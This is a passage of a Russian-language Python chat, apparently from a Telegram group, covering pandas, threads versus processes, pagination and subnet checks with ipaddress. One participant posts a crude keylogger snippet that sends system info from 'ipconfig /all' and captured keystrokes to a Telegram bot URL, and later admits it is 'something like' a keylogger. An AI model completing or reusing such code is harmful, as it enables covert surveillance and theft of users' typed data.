df =df.replace('--', np.NaN)

А если в конкретной колонке, передай словарь в реплейс ({столбец: '--'}, np.NaN)

А если в конкретной колонке, передай словарь в реплейс ({столбец: '--'}, np.NaN)

+

какая разница между тредами и процессами? МОжет кто нить нормально объяснить? Гугль дает The threading module uses threads, the multiprocessing module uses processes. The difference is that threads run in the same memory space, while processes have separate memory. This makes it a bit harder to share objects between processes with multiprocessing. ... Spawning processes is a bit slower than spawning threads. Мне не понятно как выбрать между тем и тем для проекта?

знает кто какую-нибудь около полифил либу для питона, чтобы из 3.5 можно было использовать асинхронные фичи из 3.7 типа asyncio.run, asyncontextmanager, AsyncExitStack с хоть какой-нибудь поддержкой typing'ов? async_generator кое как позволяет некоторые вещи использовать, но с тайпингами проблема

@monkdok будет жить. Поприветствуем!

какая разница между тредами и процессами? МОжет кто нить нормально объяснить? Гугль дает The threading module uses threads, the multiprocessing module uses processes. The difference is that threads run in the same memory space, while processes have separate memory. This makes it a bit harder to share objects between processes with multiprocessing. ... Spawning processes is a bit slower than spawning threads. Мне не понятно как выбрать между тем и тем для проекта?

В чем вопрос-то? Написано все

Треды шарят одну память в ОЗУ, у процессов у каждого своя

Процессы спавнить дороже по времени, чем треды

Между процессам сложнее передавать данные

@MechanisM когда деньги вернешь, за невыполненную работу?

Треды шарят одну память в ОЗУ, у процессов у каждого своя

у меня есть джанго и есть скрипт который запускается и тащит значения из БД, одноврменменно моежт работать 30 процессов и более. ОН выполняет дейсвтия и севит в БД. как тут правильнее поступить? Треды ил ипроцессы? и еще вопрос как правильно треды убивать?

Данил будет жить. Поприветствуем!

Процессы спавнить дороже по времени, чем треды

в linux не особо дороже, разницей можно пренебречь.

у меня есть джанго и есть скрипт который запускается и тащит значения из БД, одноврменменно моежт работать 30 процессов и более. ОН выполняет дейсвтия и севит в БД. как тут правильнее поступить? Треды ил ипроцессы? и еще вопрос как правильно треды убивать?

Если нет проблем с производительностью не париться. Если хотите улучшить переходите на aiohttp.

у меня есть джанго и есть скрипт который запускается и тащит значения из БД, одноврменменно моежт работать 30 процессов и более. ОН выполняет дейсвтия и севит в БД. как тут правильнее поступить? Треды ил ипроцессы? и еще вопрос как правильно треды убивать?

треды правильно не убивать, точнее в общем случае не существует безопасного способа корректно завершить тред извне.

в linux не особо дороже, разницей можно пренебречь.

вообще не дороже, они одни и теже структуры в ядре используют

Процессы спавнить дороже по времени, чем треды

виндопроблемы. про передачу данных тоже, есть 9000 всяких ipc

вообще не дороже, они одни и теже структуры в ядре используют

Это странно. В винде значительно дороже

Это странно. В винде значительно дороже

юникс всегда работал на многопроцессорных машинах. даже при просто работе в шелл у тебя пораждается куча процессов каждой командой

юникс всегда работал на многопроцессорных машинах. даже при просто работе в шелл у тебя пораждается куча процессов каждой командой

я имею ввиду что порождение треда такая накладная операция в линуксе. Следует читать "Действительно ли это так"?

у меня линь стоит, но получается каждый воркер который я запускаю начинает жрать память 60м джанго для коннекта к БД + на самой базе процесс порождается который отвечает за этот коннект еще метров 100. Есть ли какой-то еще выход или надо как-то логику менять?

я имею ввиду что порождение треда такая накладная операция в линуксе. Следует читать "Действительно ли это так"?

просто порождение процесса очень дешевая операция. тред от процесса мало чем отличается. при форке у тебя cow

юникс всегда работал на многопроцессорных машинах. даже при просто работе в шелл у тебя пораждается куча процессов каждой командой

Многопроцессорная и многопроцессная все таки разные вещи.

Многопроцессорная и многопроцессная все таки разные вещи.

к чему это?

к чему это?

Я же выделил к чему это.

Я же выделил к чему это.

многопроцессорные машины, есть необходимость запускать много процессов и общатсья между ними, тредов еще не завезли, поэтому это оптимизированно очень давно.

ну и сама архитектура юникс, где много маленьких программ подразумевает что очень много форков происходит.

@LeekSer будет жить. Поприветствуем!

вообще не дороже, они одни и теже структуры в ядре используют

не совсем. создание процесса приводит к копированию таблицы страниц (но не самих страниц)

Это странно. В винде значительно дороже

проблемы индейцев...

просто порождение процесса очень дешевая операция. тред от процесса мало чем отличается. при форке у тебя cow

а так да ты правильно сказал, что при форке Copy-on-Write.

создание треда и fork реализованы через один и тот же системный вызов clone(), с разницей в флагах.

проблемы индейцев...

Уровень дискуссии не тот. Не обсуждаются отличия pe от elf или особенности загрузки динамическх модулей.

Почему когда я выполняю функцию send() то она работает отлично, но когда после нее прописываю цикл while, она не выполняется, вернее выполняется, но без результатно def send(msg): url = 'https://api.telegram.org/botФФФФФ/sendMessage?chat_id=ффффф&text=' re.get(url+msg) return True if send( subprocess.check_output('ipconfig /all').decode('cp866') ): #отпрвляем данные о ПК while True: key = getch().decode('cp866') if key == ' ': send = send(''.join(word)) print(''.join(word)) word = [] elif key == '\r': send = send(''.join(word)) print(''.join(word)) word = [] else: word.append(key В if запихнул словие выполнения, и нифига, все равно

@RomanM7777 будет жить. Поприветствуем!

Коллеги, а как принято делать пагинацию, если объекты упорядочены не по id? Есть варианты, кроме запроса по оффсету?

Почему когда я выполняю функцию send() то она работает отлично, но когда после нее прописываю цикл while, она не выполняется, вернее выполняется, но без результатно def send(msg): url = 'https://api.telegram.org/botФФФФФ/sendMessage?chat_id=ффффф&text=' re.get(url+msg) return True if send( subprocess.check_output('ipconfig /all').decode('cp866') ): #отпрвляем данные о ПК while True: key = getch().decode('cp866') if key == ' ': send = send(''.join(word)) print(''.join(word)) word = [] elif key == '\r': send = send(''.join(word)) print(''.join(word)) word = [] else: word.append(key В if запихнул словие выполнения, и нифига, все равно

re - это requests? Он возвращает ответ сервера. Вы не проверяете ответ, поэтому и не можете быть уверены, что запрос обработан без ошибок.

Хотя бы код ответа стоит проверять

Коллеги, а как принято делать пагинацию, если объекты упорядочены не по id? Есть варианты, кроме запроса по оффсету?

пагинация == упорядочить? Первое что пришло в голову, хранить хеш даты создания, или что-то в этом роде

пагинация == упорядочить? Первое что пришло в голову, хранить хеш даты создания, или что-то в этом роде

пагинация == постраничное отображение

И нужно, соответственно, уметь показывать страницу номер N

пагинация == упорядочить? Первое что пришло в голову, хранить хеш даты создания, или что-то в этом роде

и как это должно работать?

И нужно, соответственно, уметь показывать страницу номер N

а по какому критерию, для примера?

а по какому критерию, для примера?

По количеству лайков

Вообще там разные порядки могут выбираться, хочется сделать универсально

В DRF нашел такое, но там слишком много требований https://www.django-rest-framework.org/api-guide/pagination/#cursorpagination

есть люди которые работают с GitLab?

По количеству лайков

можно что-то придумать вроде сортировки критерию + id и делать фильтр по последнему критерию на предыдущей странице. что-то типа: likes > 432 OR (likes == 432 AND ID > 10) ORDER BY (likes, id)

есть люди которые работают с GitLab?

nometa.xyz

есть люди которые работают с GitLab?

Нет конечно

Коллеги, а как принято делать пагинацию, если объекты упорядочены не по id? Есть варианты, кроме запроса по оффсету?

отгружаешь все, отбираешь уже в листе

отгружаешь все, отбираешь уже в листе

ты верно шутишь

зато не по оффсету

Есть список подсетей. На вход нужно подавать случайный ип адрес и проверять, входит ли он в этот список подсетей. Может есть либа какая?

Есть список подсетей. На вход нужно подавать случайный ип адрес и проверять, входит ли он в этот список подсетей. Может есть либа какая?

ipaddress?

Есть список подсетей. На вход нужно подавать случайный ип адрес и проверять, входит ли он в этот список подсетей. Может есть либа какая?

https://docs.python.org/3/library/ipaddress.html

re - это requests? Он возвращает ответ сервера. Вы не проверяете ответ, поэтому и не можете быть уверены, что запрос обработан без ошибок.

отдельно возращает 200, с циклом ничего вообще

re - это requests? Он возвращает ответ сервера. Вы не проверяете ответ, поэтому и не можете быть уверены, что запрос обработан без ошибок.

вернее тоже 200, но requests не работает

ipaddress?

посмотрю, благодарю

Есть список подсетей. На вход нужно подавать случайный ип адрес и проверять, входит ли он в этот список подсетей. Может есть либа какая?

And/or побитовые с маской подсети

Всему молодеш учить надо

And/or побитовые с маской подсети

это уже более интереснее)

Но правильнее ipadress модуль использовать

Там внутри то же самое

Но правильнее ipadress модуль использовать

что то в доке именно под мою задачу примера не нашел

Не может быть

Парни, как можно в фоне перехватывать нажатия клавиш? Например чтоб я мог писать что-то в блокноте, а все транслировалось в ком.строку

что то в доке именно под мою задачу примера не нашел

ты думаешь под все задачи будет готовый пример?

кейлоггер пишешь?

ты думаешь под все задачи будет готовый пример?

нет, наверника не будет. Просто по идеи задача тривиальная, подумал возможно есть

кейлоггер пишешь?

+ что-то типо этого

мидасик на пудже))0

Чисто expirience)

мидасик на пудже))0

и момчик, вообще по красоте

Чисто expirience)

ага, заливай

все равно же напишу

что то в доке именно под мою задачу примера не нашел

плохо искал: https://docs.python.org/3/library/ipaddress.html#networks-as-containers-of-addresses

плохо искал: https://docs.python.org/3/library/ipaddress.html#networks-as-containers-of-addresses

юлагодарю, видимо упустил. Как думаешь, если подобное IPv4Address('192.0.2.6') in IPv4Network('192.0.2.0/28') будет проверять в к примеру в 20ти подсетях, тоесть получается таких инструкций будет около 20, много времени будет тратиться? Тоесть не будет ли данная операция грузить сервер при большом трафике?

юлагодарю, видимо упустил. Как думаешь, если подобное IPv4Address('192.0.2.6') in IPv4Network('192.0.2.0/28') будет проверять в к примеру в 20ти подсетях, тоесть получается таких инструкций будет около 20, много времени будет тратиться? Тоесть не будет ли данная операция грузить сервер при большом трафике?

никак не думаю. возьми и проверь.

Плохой подход

Плохой подход

как то лучше сделать можно?

Плохой подход

м?

Подсети разные вообще или только маски разные?

Адреса сети

Коллеги, а как принято делать пагинацию, если объекты упорядочены не по id? Есть варианты, кроме запроса по оффсету?

А в чём проблема с запросом по оффсету?